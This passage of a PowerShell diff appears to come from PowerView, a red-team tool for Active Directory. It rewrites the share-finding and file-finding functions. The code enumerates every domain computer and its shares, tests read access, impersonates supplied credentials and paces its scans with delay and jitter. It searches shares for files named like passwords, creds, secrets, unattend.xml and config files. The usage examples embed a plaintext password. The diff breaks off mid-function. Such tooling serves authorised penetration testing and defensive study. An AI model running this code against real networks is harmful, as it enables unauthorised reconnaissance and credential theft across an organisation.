Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential + $Result + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" + return + } } } + else { + Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'StartTime' = $StartTime + 'EndTime' = $EndTime + 'MaxEvents' = $MaxEvents + 'TargetUsers' = $TargetUsers + 'Filter' = $Filter + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } } } -function Invoke-ShareFinder { +function Find-DomainShare { <# - .SYNOPSIS +.SYNOPSIS + +Searches for computer shares on the domain. If -CheckShareAccess is passed, +then only shares the current user has read access to are returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputer, then for - each server it lists of active shares with Get-NetShare. Non-standard shares - can be filtered out with -Exclude* flags. +.DESCRIPTION - Author: @harmj0y - License: BSD 3-Clause +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. If -CheckShareAccess is passed, then +[IO.Directory]::GetFiles() is used to check if the current user has read +access to the given share. If -Credential is passed, then +Invoke-UserImpersonation is used to impersonate the specified user before +enumeration, reverting after with Invoke-RevertToSelf. - .PARAMETER ComputerName +.PARAMETER ComputerName - Host array to enumerate, passable on the pipeline. +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - .PARAMETER ComputerFile +.PARAMETER ComputerDomain - File of hostnames/IPs to search. +Specifies the domain to query for computers, defaults to the current domain. - .PARAMETER ComputerFilter +.PARAMETER ComputerLDAPFilter - Host filter name to query AD for, wildcards accepted. +Specifies an LDAP query string that is used to search for computer objects. - .PARAMETER ComputerADSpath +.PARAMETER ComputerSearchBase - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - .PARAMETER ExcludeStandard +.PARAMETER ComputerOperatingSystem - Switch. Exclude standard shares from display (C$, IPC$, print$ etc.) +Search computers with a specific operating system, wildcards accepted. - .PARAMETER ExcludePrint +.PARAMETER ComputerServicePack - Switch. Exclude the print$ share. +Search computers with a specific service pack, wildcards accepted. - .PARAMETER ExcludeIPC +.PARAMETER ComputerSiteName - Switch. Exclude the IPC$ share. +Search computers in the specific AD Site name, wildcards accepted. - .PARAMETER CheckShareAccess +.PARAMETER CheckShareAccess - Switch. Only display found shares that the local user has access to. +Switch. Only display found shares that the local user has access to. - .PARAMETER CheckAdmin +.PARAMETER Server - Switch. Only display ADMIN$ shares the local user has access to. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER NoPing +.PARAMETER SearchScope - Switch. Don't ping each host to ensure it's up before enumerating. +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER Delay +.PARAMETER ResultPageSize - Delay between enumerating hosts, defaults to 0. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER Jitter +.PARAMETER ServerTimeLimit - Jitter for the host delay, defaults to +/- 0.3. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER Domain +.PARAMETER Tombstone - Domain to query for machines, defaults to the current domain. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER DomainController +.PARAMETER Credential - Domain controller to reflect LDAP queries through. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - .PARAMETER SearchForest +.PARAMETER Delay - Switch. Search all domains in the forest for target users instead of just - a single domain. +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - .PARAMETER Threads +.PARAMETER Jitter - The maximum concurrent threads to execute. +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - .EXAMPLE +.PARAMETER Threads - PS C:\> Invoke-ShareFinder -ExcludeStandard +The number of threads to use for user searching, defaults to 20. - Find non-standard shares on the domain. +.EXAMPLE - .EXAMPLE +Find-DomainShare - PS C:\> Invoke-ShareFinder -Threads 20 +Find all domain shares in the current domain. - Multi-threaded share finding, replaces Invoke-ShareFinderThreaded. +.EXAMPLE - .EXAMPLE +Find-DomainShare -CheckShareAccess - PS C:\> Invoke-ShareFinder -Delay 60 +Find all domain shares in the current domain that the current user has +read access to. - Find shares on the domain with a 60 second (+/- *.3) - randomized delay between touching each host. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred - PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt +Searches for domain shares in the testlab.local domain using the specified alternate credentials. - Find shares for machines in the specified hosts file. +.OUTPUTS - .LINK - http://blog.harmj0y.net +PowerView.ShareInfo #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ShareInfo')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] + [Alias('Domain')] [String] - $ComputerFile, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, - - [Switch] - $ExcludeStandard, + $ComputerSearchBase, - [Switch] - $ExcludePrint, + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, - [Switch] - $ExcludeIPC, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, - [Switch] - $NoPing, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + [Alias('CheckAccess')] [Switch] $CheckShareAccess, - [Switch] - $CheckAdmin, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - [UInt32] - $Delay = 0, + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [Double] - $Jitter = .3, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [String] - $Domain, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - [String] - $DomainController, - [Switch] - $SearchForest, + $Tombstone, - [ValidateRange(1,100)] - [Int] - $Threads - ) + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, - # random object for delay - $RandNo = New-Object System.Random + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, - Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay" + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) - # figure out the shares we want to ignore - [String[]] $ExcludedShares = @('') + BEGIN { - if ($ExcludePrint) { - $ExcludedShares = $ExcludedShares + "PRINT$" + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' } - if ($ExcludeIPC) { - $ExcludedShares = $ExcludedShares + "IPC$" + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName } - if ($ExcludeStandard) { - $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") + else { + Write-Verbose '[Find-DomainShare] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } - - # if we're using a host file list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile + Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainShare] No hosts found to enumerate' } - if(!$ComputerName) { - [array]$ComputerName = @() + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $CheckShareAccess, $TokenHandle) - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.count) -eq 0) { - throw "No hosts found!" - } - } - # script block that enumerates a server - $HostEnumBlock = { - param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - # get the shares for this host and check what we find - $Shares = Get-NetShare -ComputerName $ComputerName - ForEach ($Share in $Shares) { - Write-Verbose "[*] Server share: $Share" - $NetName = $Share.shi1_netname - $Remark = $Share.shi1_remark - $Path = '\\'+$ComputerName+'\'+$NetName - - # make sure we get a real share name back - if (($NetName) -and ($NetName.trim() -ne '')) { - # if we're just checking for access to ADMIN$ - if($CheckAdmin) { - if($NetName.ToUpper() -eq "ADMIN$") { - try { - $Null = [IO.Directory]::GetFiles($Path) - "\\$ComputerName\$NetName `t- $Remark" - } - catch { - Write-Verbose "Error accessing path $Path : $_" - } - } - } - # skip this share if it's in the exclude list - elseif ($ExcludedShares -NotContains $NetName.ToUpper()) { + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + # $Remark = $Share.Remark + $Path = '\\'+$TargetComputer+'\'+$ShareName + + if (($ShareName) -and ($ShareName.trim() -ne '')) { # see if we want to check access to this share - if($CheckShareAccess) { + if ($CheckShareAccess) { # check if the user has access to this path try { $Null = [IO.Directory]::GetFiles($Path) - "\\$ComputerName\$NetName `t- $Remark" + $Share } catch { - Write-Verbose "Error accessing path $Path : $_" + Write-Verbose "Error accessing share path $Path : $_" } } else { - "\\$ComputerName\$NetName `t- $Remark" + $Share } } } } } - } - - } - - process { - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'CheckShareAccess' = $CheckShareAccess - 'ExcludedShares' = $ExcludedShares - 'CheckAdmin' = $CheckAdmin + if ($TokenHandle) { + Invoke-RevertToSelf } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } - - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 - - ForEach ($Computer in $ComputerName) { - - $Counter = $Counter + 1 - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } - } -} - -function Invoke-FileFinder { -<# - .SYNOPSIS + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - Finds sensitive files on the domain. + Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random - Author: @harmj0y - License: BSD 3-Clause + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 - .DESCRIPTION + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputer, grabs - the readable shares for each server, and recursively searches every - share for files with specific keywords in the name. - If a share list is passed, EVERY share is enumerated regardless of - other options. + Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads" - .PARAMETER ComputerName + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'CheckShareAccess' = $CheckShareAccess + 'TokenHandle' = $LogonToken + } - Host array to enumerate, passable on the pipeline. + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } - .PARAMETER ComputerFile + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} - File of hostnames/IPs to search. - .PARAMETER ComputerFilter +function Find-InterestingDomainShareFile { +<# +.SYNOPSIS - Host filter name to query AD for, wildcards accepted. +Searches for files matching specific criteria on readable shares +in the domain. - .PARAMETER ComputerADSpath +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.DESCRIPTION - .PARAMETER ShareList +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. It will then use Find-InterestingFile on each +readhable share, searching for files marching specific criteria. If -Credential +is passed, then Invoke-UserImpersonation is used to impersonate the specified +user before enumeration, reverting after with Invoke-RevertToSelf. - List if \\HOST\shares to search through. +.PARAMETER ComputerName - .PARAMETER Terms +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - Terms to search for. +.PARAMETER ComputerDomain - .PARAMETER OfficeDocs +Specifies the domain to query for computers, defaults to the current domain. - Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) +.PARAMETER ComputerLDAPFilter - .PARAMETER FreshEXEs +Specifies an LDAP query string that is used to search for computer objects. - Switch. Find .EXEs accessed within the last week. +.PARAMETER ComputerSearchBase - .PARAMETER LastAccessTime +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - Only return files with a LastAccessTime greater than this date value. +.PARAMETER ComputerOperatingSystem - .PARAMETER LastWriteTime +Search computers with a specific operating system, wildcards accepted. - Only return files with a LastWriteTime greater than this date value. +.PARAMETER ComputerServicePack - .PARAMETER CreationTime +Search computers with a specific service pack, wildcards accepted. - Only return files with a CreationDate greater than this date value. +.PARAMETER ComputerSiteName - .PARAMETER IncludeC +Search computers in the specific AD Site name, wildcards accepted. - Switch. Include any C$ shares in recursive searching (default ignore). +.PARAMETER Include - .PARAMETER IncludeAdmin +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) - Switch. Include any ADMIN$ shares in recursive searching (default ignore). +.PARAMETER SharePath - .PARAMETER ExcludeFolders +Specifies one or more specific share paths to search, in the form \\COMPUTER\Share - Switch. Exclude folders from the search results. +.PARAMETER ExcludedShares - .PARAMETER ExcludeHidden +Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. - Switch. Exclude hidden files and folders from the search results. +.PARAMETER LastAccessTime - .PARAMETER CheckWriteAccess +Only return files with a LastAccessTime greater than this date value. - Switch. Only returns files the current user has write access to. +.PARAMETER LastWriteTime - .PARAMETER OutFile +Only return files with a LastWriteTime greater than this date value. - Output results to a specified csv output file. +.PARAMETER CreationTime - .PARAMETER NoClobber +Only return files with a CreationTime greater than this date value. - Switch. Don't overwrite any existing output file. +.PARAMETER OfficeDocs - .PARAMETER NoPing +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) - Switch. Don't ping each host to ensure it's up before enumerating. +.PARAMETER FreshEXEs - .PARAMETER Delay +Switch. Find .EXEs accessed within the last 7 days. - Delay between enumerating hosts, defaults to 0 +.PARAMETER Server - .PARAMETER Jitter +Specifies an Active Directory server (domain controller) to bind to. - Jitter for the host delay, defaults to +/- 0.3 +.PARAMETER SearchScope - .PARAMETER Domain +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - Domain to query for machines, defaults to the current domain. +.PARAMETER ResultPageSize - .PARAMETER DomainController +Specifies the PageSize to set for the LDAP searcher object. - Domain controller to reflect LDAP queries through. +.PARAMETER ServerTimeLimit - .PARAMETER SearchForest +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Search all domains in the forest for target users instead of just - a single domain. +.PARAMETER Tombstone - .PARAMETER SearchSYSVOL +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain. +.PARAMETER Credential - .PARAMETER Threads +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - The maximum concurrent threads to execute. +.PARAMETER Delay - .PARAMETER UsePSDrive +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - Switch. Mount target remote path with temporary PSDrives. +.PARAMETER Jitter - .EXAMPLE +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - PS C:\> Invoke-FileFinder +.PARAMETER Threads - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, +The number of threads to use for user searching, defaults to 20. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-FileFinder -Domain testing +Find-InterestingDomainShareFile - Find readable files on the 'testing' domain with 'pass', 'sensitive', - 'secret', 'admin', 'login', or 'unattend*.xml' in the name, +Finds 'interesting' files on the current domain. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-FileFinder -IncludeC +Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') - Find readable files on the domain with 'pass', 'sensitive', - 'secret', 'admin', 'login' or 'unattend*.xml' in the name, - including C$ shares. +Finds 'interesting' files on readable shares on the specified systems. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred - Enumerate a specified share list for files with 'accounts' or - 'ssn' in the name, and write everything to "out.csv" +Searches interesting files in the testlab.local domain using the specified alternate credentials. - .LINK - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ +.OUTPUTS +PowerView.FoundFile #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, + $ComputerSearchBase, - [ValidateScript({Test-Path -Path $_ })] + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] [String] - $ShareList, + $ComputerOperatingSystem, - [Switch] - $OfficeDocs, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, - [Switch] - $FreshEXEs, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, - [Alias('Terms')] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] [String[]] - $SearchTerms, + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), - [ValidateScript({Test-Path -Path $_ })] - [String] - $TermList, + [ValidateNotNullOrEmpty()] + [ValidatePattern('\\\\')] + [Alias('Share')] + [String[]] + $SharePath, - [String] + [String[]] + $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $LastAccessTime, - [String] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $LastWriteTime, - [String] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $CreationTime, + [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] - $IncludeC, + $OfficeDocs, + [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] - $IncludeAdmin, + $FreshEXEs, - [Switch] - $ExcludeFolders, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - [Switch] - $ExcludeHidden, + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [Switch] - $CheckWriteAccess, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [String] - $OutFile, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, [Switch] - $NoClobber, + $Tombstone, - [Switch] - $NoPing, + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - [UInt32] + [ValidateRange(1, 10000)] + [Int] $Delay = 0, + [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $SearchForest, - - [Switch] - $SearchSYSVOL, - - [ValidateRange(1,100)] [Int] - $Threads, - - [Switch] - $UsePSDrive + [ValidateRange(1, 100)] + $Threads = 20 ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay" - - $Shares = @() - - # figure out the shares we want to ignore - [String[]] $ExcludedShares = @("C$", "ADMIN$") - - # see if we're specifically including any of the normally excluded sets - if ($IncludeC) { - if ($IncludeAdmin) { - $ExcludedShares = @() - } - else { - $ExcludedShares = @("ADMIN$") - } + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName } - - if ($IncludeAdmin) { - if ($IncludeC) { - $ExcludedShares = @() - } - else { - $ExcludedShares = @("C$") - } + else { + Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } - - # delete any existing output file if it already exists - if(!$NoClobber) { - if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' } - # if there's a set of terms specified to search for - if ($TermList) { - ForEach ($Term in Get-Content -Path $TermList) { - if (($Term -ne $Null) -and ($Term.trim() -ne '')) { - $SearchTerms += $Term - } - } - } + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) - # if we're hard-passed a set of shares - if($ShareList) { - ForEach ($Item in Get-Content -Path $ShareList) { - if (($Item -ne $Null) -and ($Item.trim() -ne '')) { - # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder - $Share = $Item.Split("`t")[0] - $Shares += $Share - } - } - } - else { - # if we're using a host file list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } - if(!$ComputerName) { + ForEach ($TargetComputer in $ComputerName) { - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + $SearchShares = @() + if ($TargetComputer.StartsWith('\\')) { + # if a share is passed as the server + $SearchShares += $TargetComputer } else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + $Path = '\\'+$TargetComputer+'\'+$ShareName + # make sure we get a real share name back + if (($ShareName) -and ($ShareName.Trim() -ne '')) { + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $ShareName) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Verbose "[!] No access to $Path" + } + } + } + } + } } - if($SearchSYSVOL) { - 